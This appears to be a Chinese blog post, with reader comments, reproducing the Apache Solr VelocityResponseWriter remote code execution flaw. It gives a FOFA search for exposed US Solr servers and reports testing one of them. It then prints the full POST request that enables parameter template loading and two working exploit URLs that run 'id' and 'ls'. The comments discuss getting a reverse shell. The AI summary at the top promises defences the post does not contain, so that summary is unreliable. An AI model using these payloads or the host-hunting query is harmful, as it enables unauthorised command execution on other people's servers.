AI智能摘要
Apache Solr的这个Velocity模板漏洞正在威胁数万家企业服务器!攻击者只需通过简单的配置修改,就能在服务器上执行任意命令。从5.x到8.2.0版本无一幸免,这个高危漏洞让企业核心数据暴露在风险之下。想知道如何检测和防御这种致命攻击?本文完整披露漏洞利用细节和防护方案。
— AI 生成的文章内容摘要
Solr
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
漏洞产生原因
该漏洞的产生是由于两方面的原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
影响范围
Apache Solr 5.x - 8.2.0,存在config API版本
复现过程
FOFA大法好啊
app="Solr" && country="US"
有个5.5.0版本的,试试

需要知道core的名称才能进行下一步操作

在/solr/documents_shard1_replica1/config目录post以下数据,旨在修改core的配置信息。
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
完整POST数据包,修改core配置。
POST /solr/documents_shard1_replica1/config HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 263
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
出现下面的Response信息则表示修改成功。

EXP
http://ip:port/documents_shard1_replica1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

http://ip:port/documents_shard1_replica1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

顺手也测了一下8.1.1版本的


湖北省武汉市 1F
这漏洞复现步骤写得挺细,不过5.5.0真有人还在用?
吉林省 2F
params.resource.loader.enabled默认不是false吗,谁会手贱开true啊🤔
韩国 3F
前几天刚给公司Solr打补丁,正好踩过这个坑
浙江省 4F
美国的Solr实例这么多?FOFA搜出来一堆没关config API的
广东省广州市 B1
@ Alien小外星人 1928那哥们说得对,国外确实很多实例没做安全配置。
北京市 5F
ls和id命令都试了,但反弹shell好像没提,有老哥成功过没?
湖北省鄂州市 6F
8.1.1也中招?还以为新版修了呢,结果还是翻车
陕西省西安市 B1
@ 甜蜜的棉花糖 core名称可以看看有没有默认的collection1这种。
泰国 7F
截图里那个“solrCore Initialization Failure”是不是说明已经触发了?
台湾省台北市 B1
@ 静夜歌 看截图里的错误日志,感觉是触发后服务挂掉了。
澳大利亚 8F
感觉一般,这种RCE现在扫一遍基本都修了
北京市 9F
求问core名称怎么快速枚举?一个个猜太费劲了
山东省青岛市 B1
@ 躺平 这复现步骤写得挺细,不过5.5.0真有人还在用?
广东省 10F
Velocity模板还能这么玩,Java反序列化真是永动机666
山东省 B1
@ 轻功绝顶 Java这套东西真是,一个漏洞能衍生出无数种玩法。
澳大利亚 B1
@ 轻功绝顶 反弹shell得看环境吧,直接执行命令不一定能弹回来,得构造一下。
浙江省 11F
这复现步骤够详细,照着做应该能跑通。
广东省珠海市 12F
弱弱问一下,这个漏洞必须要有config API权限吗?
天津市 13F
之前用AWVS扫到过类似的,不过没深入搞。
韩国 14F
所以这个漏洞的本质还是参数可控导致的模板注入?
韩国 15F
那堆exp代码看着头大,有没有一键脚本啊?
日本 16F
老外那边对这个漏洞的讨论好像不多,热度一般。
湖南省益阳市 17F
要是没开那个params.resource.loader.enabled是不是就安全了?
北京市 18F
FOFA里搜Solr,发现好多默认配置没改,直接暴露在外面,心真大。
印度尼西亚 19F
Java这块的洞真是层出不穷,之前log4j也是,感觉框架用的人越多越危险。
辽宁省大连市 20F
要是比特币跌回3万他们还能撑住不?
北京市 21F
所以本质上还是参数可控导致的模板注入?
日本 22F
这个漏洞挺典型的,配置默认开启风险就来了。
新疆乌鲁木齐市 B1
@ Rex王者 很多默认配置都存在这种隐患。
巴基斯坦 23F
这个漏洞必须要有config API权限吗?